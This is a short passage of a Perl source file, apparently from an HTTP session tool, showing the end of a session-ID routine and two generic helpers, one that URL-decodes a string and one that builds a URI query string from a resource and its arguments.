976: }
977:
978: return $sessionID;
979:
980: }
981:
982: sub URLDecode {
983:
984: my ($url) = @_;
985:
986: $url =~ s/%([a-fA-F0-9]{2})/chr(hex($1))/eg;
987:
988: return $url;
989: }
990:
991: sub buildURI {
992:
993: my ($req_ref) = @_;
994:
995: my $uri;
996: my $resource = $req_ref->[1]->[0];
997: my $arguments;
998: my $arguments_ref = $req_ref->[1]->[1];
999:
1000: while(my($arg,$value) = each(%$arguments_ref)) {
1001: $arguments .= "\&".$arg."=".$value;
1002: }
1003: $arguments =~ s/^&//;
1004:
1005: $uri = $resource."?".$arguments;
1006:
1007: return $uri;
1008:
1009: }
1010:
1011: ##### Generic Functions - END ######